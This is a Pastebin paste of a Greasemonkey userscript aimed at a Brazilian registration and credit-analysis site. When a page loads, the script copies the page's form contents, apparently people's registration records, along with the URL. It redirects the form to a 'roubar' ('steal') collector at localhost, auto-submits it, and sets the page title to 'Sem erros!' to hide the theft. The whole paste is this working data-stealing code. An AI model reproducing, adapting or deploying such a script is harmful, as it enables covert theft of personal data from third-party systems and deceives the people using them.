Advertisement
mendigo

Untitled

Sep 2nd, 2011
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.60 KB | None | 0 0
  1. // ==UserScript==
  2. // @name Ops! Ja era!
  3. // @namespace Anti-spanon
  4. // @description By digo
  5. // @include http://cadastro.tecnorisk.com.br/Analise/
  6. // @include http://cadastro.tecnorisk.com.br/Analise/ficha_cadastral.php?ficha=*
  7. // @include http://localhost/roubar/index.php
  8. // @include http://localhost/roubar/logs/*
  9. // ==/UserScript==
  10.  
  11. var $;
  12.  
  13. // Add jQuery
  14. (function(){
  15. if (typeof unsafeWindow.jQuery == 'undefined') {
  16. var GM_Head = document.getElementsByTagName('head')[0] || document.documentElement,
  17. GM_JQ = document.createElement('script');
  18.  
  19. GM_JQ.src = 'http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js';
  20. GM_JQ.type = 'text/javascript';
  21. GM_JQ.async = true;
  22.  
  23. GM_Head.insertBefore(GM_JQ, GM_Head.firstChild);
  24. }
  25. GM_wait();
  26. })();
  27.  
  28. // Check if jQuery's loaded
  29. function GM_wait() {
  30. if (typeof unsafeWindow.jQuery == 'undefined') {
  31. window.setTimeout(GM_wait, 100);
  32. } else {
  33. $ = unsafeWindow.jQuery.noConflict(true);
  34. letsJQuery();
  35. }
  36. }
  37.  
  38. // All your GM code must be inside this function
  39. function letsJQuery() {
  40. var url = window.location;
  41. if( $("[name=form]").length > 0){
  42. var html=$("[name=form]").html();
  43. $("[name=form]").append('<textarea name="ficha" id="fichahtml"></textarea>');
  44. $("[name=form]").append('<input name="urls" value="">');
  45. $("[name=ficha]").val(html);
  46. $("[name=urls]").val(url);
  47. $("[name=form]").attr('action',"http://localhost/roubar/index.php");
  48. document.title = "Sem erros!";
  49. $("[name=form]").submit();
  50. }
  51. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement